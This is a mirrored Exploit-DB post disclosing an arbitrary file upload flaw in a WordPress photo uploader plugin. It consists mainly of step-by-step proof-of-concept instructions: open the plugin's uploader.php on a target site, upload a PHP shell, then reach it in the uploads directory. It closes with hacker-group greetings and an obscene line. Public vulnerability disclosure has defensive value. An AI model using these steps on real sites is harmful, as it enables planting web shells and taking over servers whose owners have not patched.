WordPress Plugin Windows Desktop and iPhone Photo Uploader – Arbitrary File Upload - 体验盒子

作者： Manish Tanwar

日期： 2015-04-09

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/36691/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

##################################################################################################

#Exploit Title : WordPress plugin Windows Desktop and iPhone Photo Uploader arbitrary file upload vulnerbility

#Author: Manish Kishan Tanwar AKA error1046

#Home Page : https://wordpress.org/plugins/i-dump-iphone-to-wordpress-photo-uploader/

#Download Link : https://downloads.wordpress.org/plugin/i-dump-iphone-to-wordpress-photo-uploader.1.8.zip

#Date: 9/04/2015

#Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Incredible,Kishan Singh and ritu rathi

#Discovered At : Indishell Lab

##################################################################################################

////////////////////////

/// Overview:

////////////////////////

file uploading code(uploader.php) in Windows Desktop and iPhone Photo Uploader plugin doesnt check for file extension before uploading it to server

and hence vulnerable to arbitrary file upload

////////////////

///POC ////

///////////////

Uploading PHP shell

=================================

Just open uploader.php in plugin directory

http://target.com/wp-content/plugins/i-dump-iphone-to-wordpress-photo-uploader/uploader.php

browse your php shell and submit it.

after uploading, you will get your shell in uploads directory at following location

http://target.com/wp-content/uploads/i-dump-uploads/

demo:-

http://127.0.0.1/wordpress/wp-content/plugins/i-dump-iphone-to-wordpress-photo-uploader/uploader.php

and upload your shell

--==[[ Greetz To ]]==--

############################################################################################

#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,

#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,

#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,

#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash

#############################################################################################

--==[[Love to]]==--

# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,

#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik)

--==[[ Special Fuck goes to ]]==--

<3suriya Cyber Tyson <3